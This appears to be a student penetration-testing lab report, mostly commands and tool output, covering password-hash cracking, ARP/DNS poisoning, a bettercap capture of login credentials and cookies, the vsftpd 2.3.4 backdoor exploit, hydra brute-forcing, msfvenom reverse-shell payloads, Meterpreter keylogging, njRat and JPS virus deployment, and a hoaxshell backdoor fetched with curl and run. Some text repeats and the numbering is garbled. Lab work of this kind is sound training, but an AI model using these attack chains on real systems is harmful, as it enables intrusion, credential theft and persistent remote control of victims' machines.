wordlist=/usr/share/wordlist/rockyou.txt Result:

```
        TX packets 2747  bytes 747958 (730.4 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

┌──(mayur㉿vbox)-[~]
└─$ sudo su
[sudo] password for mayur:
┌──(root㉿vbox)-[/home/mayur]
└─# echo "bb7aedfa61007447dd6efaf9f37641e3 " > hash.txt

┌──(root㉿vbox)-[/home/mayur]
└─# cat hash.txt
bb7aedfa61007447dd6efaf9f37641e3

┌──(root㉿vbox)-[/home/mayur]
└─# john --format=RAW-MD5 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 SSE2 4×3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
purple           (?)
1g 0:00:00:00 DONE (2025-05-20 15:43) 9.090g/s 1745p/s 1745c/s 1745C/s ..kisses
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

┌──(root㉿vbox)-[/home/mayur]
└─#
```

Task 9 Attempt ARP Poisoning

Using cain and able

Step1 start the cain and able

Step2 click on the + button

Step3 Click on the configure option

Step4 select the ip address and click on apply

Step5: click on + button /multiple ip range

Step6: Select the ip and getway

Click on that arp button\ Result:

Task 10 Attempt Mac flooding

Step1 start the kali linux machine

Step2 go to macof tool

Command : macof –I eth0 –d 192.168.225.118

result:

Step-11 Conduct Man-In-The-Middle

- **Step-1** – Enter following command

Command -: sudo bettercap -iface eth0

- Step -2 – enter next command

Command -: net.probe on

• Step- –

3 next command

Command -: net.show

• All available Devices

6 next command

- Step- –

Command -: set arp.spoof.targets <target ip>

- Step-7-- next command

Command -: arp.spoof on

8 arp spoofer started

- Step- –

- Step-9 – next command

Command -: set net.sniff.verbose true

- Step- –

10 next command

Command -: net.sniff on

- Step-11 – open website on victim device

12 provide username and password

- Step- –

- Step-13 – traffic diverted

14 packet capture

- Step- –

```
uid=admin&passw=admin&btnSubmit=Login

192.168.139.0/24 > 192.168.139.74 » [09:34:23] [net.sniff.http.request] http HP POST testfire.net/doLogin

POST /doLogin HTTP/1.1
Host: testfire.net
Sec-Gpc: 1
Accept-Language: en-US,en;q=0.6
Referer: http://testfire.net/login.jsp
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Cookie: JSESSIONID=D7C365A8B1D6BC2DBAF901FABC1407E4; AltoroAccounts=ODAwMDAwfkNvcnBvcmF0ZX4tMS4wMDAwMDAxMTUzODIzOTc4RTI
wfDgwMDAwMX5DaGVja2luZ34xLjE4NDQ2NzU1NjE2MTk3MTJFMjB8
Content-Length: 37
Accept-Encoding: gzip, deflate
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/53
7.36
Origin: http://testfire.net
Upgrade-Insecure-Requests: 1

uid=admin&passw=admin&btnSubmit=Login
```

- session id


```
uid=admin&passw=admin&btnSubmit=Login

192.168.139.0/24 > 192.168.139.74 » [09:34:23] [net.sniff.http.request] http HP POST testfire.net/doLogin

POST /doLogin HTTP/1.1
Host: testfire.net
Sec-Gpc: 1
Accept-Language: en-US,en;q=0.6
Referer: http://testfire.net/login.jsp
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Cookie: JSESSIONID=D7C365A8B1D6BC2DBAF901FABC1407E4; AltoroAccounts=ODAwMDAwfkNvcnBvcmF0ZX4tMS4wMDAwMDAxMTUzODIzOTc4RTI
wfDgwMDAwMX5DaGVja2luZ34xLjE4NDQ2NzU1NjE2MTk3MTJFMjB8
Content-Length: 37
Accept-Encoding: gzip, deflate
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/53
7.36
Origin: http://testfire.net
Upgrade-Insecure-Requests: 1

uid=admin&passw=admin&btnSubmit=Login
```

•

username and password

Step-12 Attempt DNS Poisoning

- Step -1 – Enter Following Command

Command -: Ettercap -T -q -i eth0 -M arp:remote /192.168.139.254// /192.168.139.221//

- DNS Poisoning Started

- Target website

- Provide username and password

Click **login**

- Username and password capture

Step-13 Attempt to login into console machine

- Enter following nmap command

Command -: nmap -A -v 192.168.0.170

•

- find ftp vulnerable service version

also find anonymous FTP login allowed

```
Initiating NSE at 01:34
Completed NSE at 01:34, 0.00s elapsed
Nmap scan report for 192.168.0.170
Host is up (0.0019s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.0.225
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
| End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
```

- available exploit for ftp service version

- copy exploit

•

- Now start msfconsole (Metasploit)

Paste exploit

https://metasploit.com
=[metasploit v6.4.18-dev]
+ -- --=[2437 exploits - 1255 auxiliary - 429 post]
+ -- --=[1468 payloads - 47 encoders - 11 nops]
+ -- --=[9 evasion]
Metasploit Documentation: https://docs.metasploit.com/
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

- Exploit set

https://metasploit.com
=[metasploit v6.4.18-dev]
+ -- --=[2437 exploits - 1255 auxiliary - 429 post]
+ -- --=[1468 payloads - 47 encoders - 11 nops]
+ -- --=[9 evasion]
Metasploit Documentation: https://docs.metasploit.com/
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

•

- Set RHOST – Target Ip address

Using Following command

```
Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basi
                                       cs/using-metasploit.html
   RPORT    21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.0.170
```

- Now set CPORT – Listening port

```
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basi
                                       cs/using-metasploit.html
   RPORT    21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.0.170
RHOST => 192.168.0.170
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set CPORT 4444
```

•

Attacker machine ip

```
┌──(root㉿kali)-[/]
└─# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.0.225  netmask 255.255.255.0  broadcast 192.168.0.255
        inet6 fe80::a00:27ff:fe9c:d8a7  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:9c:d8:a7  txqueuelen 1000  (Ethernet)
        RX packets 16914  bytes 7801611 (7.4 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 13939  bytes 1949607 (1.8 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 24  bytes 1440 (1.4 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 24  bytes 1440 (1.4 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

┌──(root㉿kali)-[/]
└─#
```

• Set CHOST – attacker machine ip

```
   ----      ---------------   --------   -----------
   CHOST                       no         The local client address
   CPORT                       no         The local client port
   Proxies                     no         A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basi
                                          cs/using-metasploit.html
   RPORT    21                 yes        The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.0.170
RHOST => 192.168.0.170
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set CPORT 4444
CPORT => 4444
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set CHOST 192.168.0.225
```

All set – (RPORT , RHOST , CPORT , CHOST)

•

```
Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST    192.168.0.225    no        The local client address
   CPORT    4444             no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   192.168.0.170    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basi
                                       cs/using-metasploit.html
   RPORT    21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

- Now , type Exploit --- for Exploitating Target

```
Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST    192.168.0.225    no        The local client address
   CPORT    4444             no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   192.168.0.170    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basi
                                       cs/using-metasploit.html
   RPORT    21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
```

Exploitation Started

•

- Shell found -- access gained

•

• Target ip address

Available directories on target machine

Lab-15/16 Extract Password Hashes / Crack Password From hashes

- Hash file

•

- Use following command for cracking hashes

Command -: hashcat -m 0 hash.txt <dictionary path >

Cracking Started

- Hash Crack

Step-17 attempt to break-down the desktop lockdown

- Target Ip address

•

- Used **hydra** for cracking password , enter following command

Command -: hydra -t 1 -V -l <username > -P < Dictionary path > service ://target ip address

Password finding Started

- Password found

Step-18 Escalated User privileges

- Attacker machine Ip address

•

- Generate payload using following command

Command -: msfvenom -p windows/meterpreter/reverse_tcp LHOST=< attacker machine ip > LPORT=Listening port -f exe -o <payload name.exe >

Payload Created

```
┌──(root㉿Kali)-[/home]
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.192 LPORT=4444 -f exe -o windows.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: windows.exe

┌──(root㉿Kali)-[/home]
└─#
```

```
┌──(root㉿Kali)-[/home]
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.192 LPORT=4444 -f exe -o windows.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: windows.exe

┌──(root㉿Kali)-[/home]
└─# ls
acunetix  aniket  windows.exe

┌──(root㉿Kali)-[/home]
└─#
```

•

Copy payload on following location

• Payload copied successful

Now start apache server

•

- Now check apache server status (start or not)

Apache server started

•

- Now start msfconsole (Metasploit)

Use following exploit multi handler

•

- Exploit set

Now set payload that you are used for creating payload (windows.exe)

•

- Use show options for detailed information about exploit

Set LHOST – attacker machine ip address

•

```
msf > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > show options

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


View the full module info with the info, or info -d command.

msf exploit(multi/handler) >
```

- Set LHOST

```
msf > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > show options

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


View the full module info with the info, or info -d command.

msf exploit(multi/handler) > set LHOST 192.168.139.192
```

```
View the full module info with the info, or info -d command.

msf exploit(multi/handler) > set LHOST 192.168.139.192
LHOST => 192.168.139.192
msf exploit(multi/handler) > show options

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.139.192  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


View the full module info with the info, or info -d command.

msf exploit(multi/handler) >
```

- Now open target machine browser

Enter attacker machine ip address with payload name

•

- And Dowload payload

After downloading payload on target device , back to the attacker machine and enter **run** command

•

- Now click on payload that downloaded on target machine

Here , reverse connection established i.e gaining access

•

```
LHOST => 192.168.139.192
msf exploit(multi/handler) > show options

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.139.192  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.

msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.139.192:4444
[*] Sending stage (177734 bytes) to 192.168.139.150
[*] Meterpreter session 1 opened (192.168.139.192:4444 -> 192.168.139.150:60378) at 2025-08-06 20:47:51 +0530

meterpreter >
```

- Enter getuid

```
LHOST => 192.168.139.192
msf exploit(multi/handler) > show options

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.139.192  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.

msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.139.192:4444
[*] Sending stage (177734 bytes) to 192.168.139.150
[*] Meterpreter session 1 opened (192.168.139.192:4444 -> 192.168.139.150:60378) at 2025-08-06 20:47:51 +0530

meterpreter > getuid
```

Target device username

•

Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.139.192 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
0 Wildcard Target
View the full module info with the info, or info -d command.
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.139.192:4444
[*] Sending stage (177734 bytes) to 192.168.139.150
[*] Meterpreter session 1 opened (192.168.139.192:4444 -> 192.168.139.150:60378) at 2025-08-06 20:47:51 +0530
meterpreter > getuid
Server username: DESKTOP-JJ5FQ6C\aniket
meterpreter >

Step-19 Reset the local Administrator or Other User Account password

- Enter nmap command for finding open ports on target machine

Command -: nmap -sS -v <target machine ip >

- Open ports

Now used hydra for finding password for rdp service

•

Command -: hydra -l <username> -P < password dictionary path > rdp://target ip address

- Password found

Now used following command for getting remote access

Command -: xfreerdp /u:username /p:password /v:target ip /cert:ignore

•

- Attack stared

Remote access successful

•

- Now open powershell (Run as administrator) – for changing password

Click on **yes**

•

- Enter following command

Command – net user

Available users on target device

•

- Enter following command for changing password

Command -: net user administrator <new password >

Password changed successfully

•

File Machine View Input Devices Help
Apps Places
Aug 6 10:12
FreeRDP: 192.168.139.190
fer format PIXEL_FORMAT_BGRX32
ffer format PIXEL_FORMAT_BGRA32
t] - [static] Loaded fake backend for rdpsnd
nt] - Loading Dynamic Virtual Channel rdpgfx
to get clipboard data in format UTF8_STRING [source

•

Step-20 Attempt to plant a software Keylogger to steal Password

- After gaining access using metasploit meterpreter used next command for capturing keystrokes on target device

- Select session id

Enter following command for starting keystroke sniffer

Command -: keyscan_start

- Do some tasks on target device

•

Now , back to the attacker machine and enter following command

Command -:keyscan_dump

- Keystrokes captured

Step 22 : Attempt to plant Spyware on Target Machine

In this step we will add a keylogger in the target machine. I have made a custom keylogger for this purpose.

•

Now, Run this file in the target machine as shown below.

Here we can see that the keylogger is successfully running on the target computer.

Now whatever, the target types get send to our system as below.

Step 23 : Attempt to plant Trojan on Target Machine

Now we will try to plant a trojan in the target machine.For this purpose, we will use njRat.

In the host , we will add attacker machine IP.

Now we will build the trojan as Test.exe and plant it in the Target machine.

Now when the target runs the trojan we will get it notified on the system.

Now we can do multiple things using this trojan. We can access the file system of the target machine.

We can also chat with the target using this trojan.

Step 24 : Attempt to create a backdoor in the target machine

For creating a backdoor we will use reverse shell generator. A reverse shell is a type of shell in which a target system connects back to an attacker's system.

Now launch the browser to access the Reverse shell generator.

Now we will create a payload using msfvenom option present in the reverse shell generator.

Now scroll down and click on copy button to copy the msfvenom code.

Switch to terminal window and paste copied code and hit enter.

We will start a listener using reverse shell generator, to do so , switch to browser and select msfconsolse as type from drop-down under listener.

A code will be generated with the selected IP address and Port number.

Now switch to the terminal and paste the code.

As we have started a listener we will now transfer the payload from attacker machine to target machine.

This way, we have successfully created a backdoor.

Step 25 : Creating a backdoor in Windows system for future access and remote administration

Now double click on the reverse.exe in the target machine.

Switch to Parrot OS and you will see the session has been created.

Close the terminal window.Now we will gain access to remote system using powershell script.

To do this switch to Hoaxshell tab.

In the hoaxshell tab, select Powershell IEX from left pane and click copy button at the bottom to copy payload.

Open the terminal window as superuser and run pluma shell.ps1

Now run the shell as administrator using command .\shell.ps1 .

Switch to Parrot OS and you can see that you have successfully created a backdoor.

```
sudo python3 -c "$(curl -s https://raw.githubusercontent.com/t3l3machus/hoaxshell/main/revshells/hoaxshell-listener.py)" -t ps-iex -p 444
File  Edit  View  Search  Terminal  Help
┌─[attacker@parrot]─[~]
└──╼ $sudo su
[sudo] password for attacker:
┌─[root@parrot]─[/home/attacker]
└──╼ #pluma shell.ps1
┌─[root@parrot]─[/home/attacker]
└──╼ #sudo python3 -c "$(curl -s https://raw.githubusercontent.com/t3l3machus/hoaxshell/main/revshell
s/hoaxshell-listener.py)" -t ps-iex -p 444

HOAXSHELL
                    by t3l3machus

[Info] Http listener started on port 444.
[Important] Awaiting payload execution to initiate shell session...
[Shell] Session established!
[Shell] Stabilizing command prompt...


PS C:\Users\Admin\Desktop> whoami
windows11\admin

PS C:\Users\Admin\Desktop>
```

Step 27 : Attempt to send virus using target machine

Now we will create a Virus using JPS virus maker 4.0 to send it on target machine.

From virus option , check option that you want to embedded in a new virus file.

In this task , the options embedded are disable task manager, disable windows update , turn off windows firewall, and auto startup and many more.

Now click on right arrow icon from the left hand pane of the window to configure the virus option.

After completing the selection of options, click the drop down icon next to create virus and select x86; click Create Virus!

Now transfer the virus to the target.

Once you run the virus the screen will turn black and thus you will know that the virus has been worked.

When the victim restarts the machine to check the issue there will be issue saying that the password is wrong as password is reset.

Now type the password created at the time of password creation to turn on the machine.

Now try to open task manager and you will see that task manager is disabled.

This is how an attacker can affect the target machine using virus.

Step 29 & 30 : Hide sensitive data on target machine using steganography methods

In this process we will use openstego to hide sensitive data on the system.

Launch the openstego software.

Now add the message file and cover file in the input.

Click on Hide Data to hide the data.It will show the success message.

Now transfer the file in the target machine.

This way, we hide the sensitive data using different steganographic tools openstego without letting target know.

31. Capture communication between ftp client and server

32. Capture https traffic

33. spoof the mac address

Linux spoof mac using macchanger

Spoof mac on windows using tmac

35. attemps session hijacking on telnet traffic

1. Run metasploitable as a server

2. enable ip forwarding in kali machine using this command

echo 1 > /proc/sys/net/ipv4/ip_forward

3. run windows as a victim and in windows cmd type this command

telnet <server IP (metasploitable)>

After you run the command on cmd you can redirect in server

4. start arp poisoning using Ettercap using the command

ettercap -T -q -M arp:remote /victim_IP/ /telnet_server_IP/

```
┌──(root㉿kali)-[/home/kali]
└─# ettercap -T -q -M arp:remote /192.168.115.165// /192.168.115.33//


ettercap 0.8.3.1 copyright 2001-2020 Ettercap Development Team

Listening on:
  eth0 -> 00:0C:29:75:55:D3
          fe80::20c:29ff:fe75:55d3/64
          2402:3a80:c92:1e87:20c:29ff:fe75:55d3/64
          2402:3a80:c92:1e87:318a:fc85:51b1:610e/64

SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Ettercap might not work correctly. /proc/sys/net/ipv6/conf/eth0/use_tempaddr is not set to 0.
Privileges dropped to EUID 65534 EGID 65534...

  34 plugins
  42 protocol dissectors
  57 ports monitored
28230 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services
Lua: no scripts were specified, not starting up!

Scanning for merged targets (2 hosts)...

* |==================================================>| 100.00 %

2 hosts added to the hosts list...

ARP poisoning victims:

 GROUP 1 : 192.168.115.165 00:0C:29:EB:0A:7B

 GROUP 2 : 192.168.115.33 00:0C:29:7F:52:1B
Starting Unified sniffing...


Text only Interface activated
```

```
DHCP: [00:0C:29:7F:52:1B] REQUEST 192.168.115.33
DHCP: [00:0C:29:7F:52:1B] REQUEST 192.168.115.33
DHCP: [00:0C:29:7F:52:1B] REQUEST 192.168.115.33

Inline help:

 [vV]      - change the visualization mode
 [pP]      - activate a plugin
 [fF]      - (de)activate a filter
 [lL]      - print the hosts list
 [oO]      - print the profiles list
 [cC]      - print the connections list
 [rR]      - adjust SSL intercept rules
 [sS]      - print interfaces statistics
 [<space>] - stop/cont printing packets
 [qQ]      - quit

DHCP: [00:0C:29:7F:52:1B] REQUEST 192.168.115.33
DHCP: [00:0C:29:7F:52:1B] REQUEST 192.168.115.33

 Received packets    :      136
 Dropped packets     :        0  0.00 %
 Forwarded           :        0  bytes:        0

 Current queue len   : 0/3
 Sampling rate       : 50

 Bottom Half received packet : pck:      132  byte:    11929
 Top Half received packet    : pck:       29  byte:     2448
 Interesting packets         : 21.97 %

 Bottom Half packet rate : worst:     6184  adv:     6578 p/s
 Top Half packet rate    : worst:        0  adv:        0 p/s

 Bottom Half throughput  : worst:   546444  adv:   603539 b/s
 Top Half throughput     : worst:        0  adv:        0 b/s
```

```
[<space>] - stop/cont printing packets
[q0]      - quit

DHCP: [00:0C:29:7F:52:1B] REQUEST 192.168.115.33
DHCP: [00:0C:29:7F:52:1B] REQUEST 192.168.115.33

 Received packets    :      136
 Dropped packets     :        0  0.00 %
 Forwarded           :        0  bytes:        0

 Current queue len   : 0/3
 Sampling rate       : 50

 Bottom Half received packet : pck:      132  byte:    11929
 Top Half received packet    : pck:       29  byte:     2448
 Interesting packets         : 21.97 %

 Bottom Half packet rate : worst:     6184  adv:     6578 p/s
 Top Half packet rate    : worst:        0  adv:        0 p/s

 Bottom Half throughput  : worst:   546444  adv:   603539 b/s
 Top Half throughput     : worst:        0  adv:        0 b/s

DHCP: [00:0C:29:7F:52:1B] REQUEST 192.168.115.33

Connections list:

  192.168.115.165:0      -  192.168.115.33:0       opening TX: 0 RX: 0, CC: -- > --
  192.168.115.165:56255 -  192.168.115.33:23    T killed  TX: 14 RX: 0, CC: -- > --
   192.168.115.33:68     - 192.168.115.236:67    U active  TX: 2400 RX: 0, CC: -- > --
   52.168.117.175:443    - 192.168.115.165:56248 T killed  TX: 0 RX: 0, CC: US > --
  192.168.115.150:137    - 192.168.115.255:137   U idle    TX: 150 RX: 0, CC: -- > --
  192.168.115.150:58515 -     224.0.0.252:5355  U idle    TX: 46 RX: 0, CC: -- > --
  192.168.115.150:5353  -     224.0.0.251:5353  U idle    TX: 58 RX: 0, CC: -- > --
  192.168.115.150:53665 -     224.0.0.252:5355  U idle    TX: 40 RX: 0, CC: -- > --
  192.168.115.150:57484 -     224.0.0.252:5355  U idle    TX: 40 RX: 0, CC: -- > --
```

See the telnet connection victim to the server

```
[0]        smb_clear  1.0  Tries to force SMB cleartext auth
[0]         smb_down  1.0  Tries to force SMB to not use NTLM2 key auth
[0]     smurf_attack  1.0  Run a smurf attack against specified hosts
[0]         sslstrip  1.2  SSLStrip plugin
[0]      stp_mangler  1.0  Become root of a switches spanning tree


Plugin name (0 to quit): q

FATAL: q plugin can not be found !

DHCP: [00:0C:29:7F:52:1B] REQUEST 192.168.115.33
DHCP: [00:0C:29:7F:52:1B] REQUEST 192.168.115.33
DHCP: [00:0C:29:7F:52:1B] REQUEST 192.168.115.33

Packet visualization restarted...


Wed Aug  6 11:37:42 2025 [570461]
UDP  192.168.115.33:68 --> 192.168.115.236:67 |  (300)
.......q.\....s!..............).R.....................................................................................
.......................................................................................c.Sc5..7........*.....................
........DHCP: [00:0C:29:7F:52:1B] REQUEST 192.168.115.33


Wed Aug  6 11:37:46 2025 [865667]
UDP  192.168.115.150:138 --> 192.168.115.255:138 |  (201)
......s........ ELEKCACACACACACACACACACACACACACA. FHEPFCELEHFCEPFFFACACACACACACABN..SMB%...............................!....................!.V......
...2.\MAILSLOT\BROWSE.....
.KJ..............
.......U..

Wed Aug  6 11:37:50 2025 [569189]
UDP  192.168.115.33:68 --> 192.168.115.236:67 |  (300)
.......q.d....s!..............).R.....................................................................................
.......................................................................................c.Sc5..7........*.....................
........DHCP: [00:0C:29:7F:52:1B] REQUEST 192.168.115.33
```

4. use wireshark filter to see the telnet traffic

36. attempts session hijacking on ftp traffic

1. . enable ip forwarding in kali machine using this command

echo 1 > /proc/sys/net/ipv4/ip_forward

2. start arp poisoning using Ettercap using the command

ettercap -T -q -M arp:remote /victim_IP/ /telnet_server_IP/

3. On the victim machine:login

```
ftp <ftp_server_IP>
```

4. see the terminal of kali Ettercap

You will see:

- `USER username`
- `PASS password`

5. Use same credentials (from Wireshark):

```
Name: victim_username Password:
victim_password
```

40,41 : Automating Internal Network Penetration Test Effort And exploit

1. Network discovery to identify live hosts and services

Search live host in network using angry ip scanner

Use nmap for live host discovery and know about the services

```
Initiating SYN Stealth Scan at 10:54
Scanning 4 hosts [1000 ports/host]
Discovered open port 135/tcp on 192.168.115.165
Discovered open port 445/tcp on 192.168.115.165
Discovered open port 139/tcp on 192.168.115.165
Discovered open port 445/tcp on 192.168.115.33
Discovered open port 139/tcp on 192.168.115.33
Discovered open port 111/tcp on 192.168.115.33
Discovered open port 80/tcp on 192.168.115.33
Discovered open port 25/tcp on 192.168.115.33
Discovered open port 21/tcp on 192.168.115.33
Discovered open port 53/tcp on 192.168.115.236
Discovered open port 3306/tcp on 192.168.115.33
Discovered open port 22/tcp on 192.168.115.33
Discovered open port 5900/tcp on 192.168.115.33
Discovered open port 53/tcp on 192.168.115.33
Discovered open port 23/tcp on 192.168.115.33
Discovered open port 2121/tcp on 192.168.115.33
Discovered open port 5357/tcp on 192.168.115.165
Discovered open port 2049/tcp on 192.168.115.33
Discovered open port 8009/tcp on 192.168.115.33
Discovered open port 6000/tcp on 192.168.115.33
Discovered open port 6667/tcp on 192.168.115.33
Discovered open port 513/tcp on 192.168.115.33
Discovered open port 8180/tcp on 192.168.115.33
Discovered open port 514/tcp on 192.168.115.33
Discovered open port 1524/tcp on 192.168.115.33
Discovered open port 512/tcp on 192.168.115.33
Discovered open port 1099/tcp on 192.168.115.33
Discovered open port 5432/tcp on 192.168.115.33
Completed SYN Stealth Scan against 192.168.115.33 in 0.50s (3 hosts left)
Completed SYN Stealth Scan against 192.168.115.165 in 0.51s (2 hosts left)
Completed SYN Stealth Scan against 192.168.115.236 in 0.61s (1 host left)
Discovered open port 7070/tcp on 192.168.115.150
Completed SYN Stealth Scan at 10:54, 3.89s elapsed (4000 total ports)
Initiating Service scan at 10:54
Scanning 29 services on 4 hosts
```

```
TRACEROUTE
HOP RTT     ADDRESS
1   0.93 ms 192.168.115.33

Nmap scan report for 192.168.115.150
Host is up (0.00077s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT     STATE SERVICE         VERSION
7070/tcp open  ssl/realserver?
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=AnyDesk Client
| Issuer: commonName=AnyDesk Client
| Public Key type: rsa
| Public Key bits: 2048
